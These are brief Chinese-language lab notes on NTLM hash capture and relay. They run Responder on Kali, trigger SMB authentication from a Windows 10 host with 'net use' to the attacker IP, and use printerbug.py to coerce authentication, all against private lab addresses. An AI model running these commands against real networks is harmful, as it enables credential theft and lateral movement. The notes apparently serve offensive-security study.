#降级监听#PASS THE HASH常见的利用方式#Relay HASH

win10启用服务  

 

kali降级监听

sudo responder -i 192.168.48.131 -I ALL -v 

（I是大写的i）

ifconfig:查看kali的ip地址 

win10建立一个远程网络连接 

net  use \\192.168.48.131\asda

（asda任意，用户名不用管）

kali获得身份认证的第三个包

smb||smb2

身份验证的第三个包

回连 

kali先开监听

sudo responder -i 192.168.48.131 -I ALL -v

python3 printerbug.py test.com/krbuser@192.168.48.134 192.168.48.131

第一个是win10的ip，第二个是kali的ip

用kali攻击win10